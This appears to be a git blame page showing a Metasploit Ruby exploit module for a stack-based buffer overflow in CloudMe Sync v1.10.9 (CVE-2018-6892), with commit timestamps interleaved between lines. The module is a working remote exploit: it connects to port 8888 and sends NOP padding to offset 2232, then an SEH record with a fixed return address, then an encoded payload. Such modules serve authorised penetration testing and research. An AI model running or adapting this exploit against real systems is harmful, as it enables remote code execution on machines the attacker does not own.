Files
metasploit-gs/modules/exploits/windows/misc/cloudme_sync.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

72 lines
1.7 KiB
Ruby
Raw Normal View History

2018-02-20 21:57:13 +00:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'CloudMe Sync v1.10.9',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in CloudMe Sync v1.10.9 client application. This module has been
tested successfully on Windows 7 SP1 x86.
},
'License' => MSF_LICENSE,
'Author' => [
'hyp3rlinx', # Original exploit author
2018-02-20 21:57:13 +00:00
'Daniel Teixeira' # MSF module author
],
2025-06-20 13:20:44 +01:00
'References' => [
2018-02-20 21:57:13 +00:00
[ 'CVE', '2018-6892'],
[ 'EDB', '44027' ],
],
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2018-02-20 21:57:13 +00:00
'EXITFUNC' => 'thread'
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Payload' => {
'BadChars' => "\x00",
2018-02-20 21:57:13 +00:00
},
2025-06-20 13:20:44 +01:00
'Targets' => [
[
'CloudMe Sync v1.10.9',
2018-02-20 21:57:13 +00:00
{
'Offset' => 2232,
2025-06-20 13:20:44 +01:00
'Ret' => 0x61e7b7f6
2018-02-20 21:57:13 +00:00
}
]
],
2025-06-20 13:20:44 +01:00
'Privileged' => true,
'DisclosureDate' => '2018-01-17',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2018-02-20 21:57:13 +00:00
register_options([Opt::RPORT(8888)])
end
def exploit
connect
buffer = make_nops(target['Offset'])
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
sock.put(buffer)
handler
end
end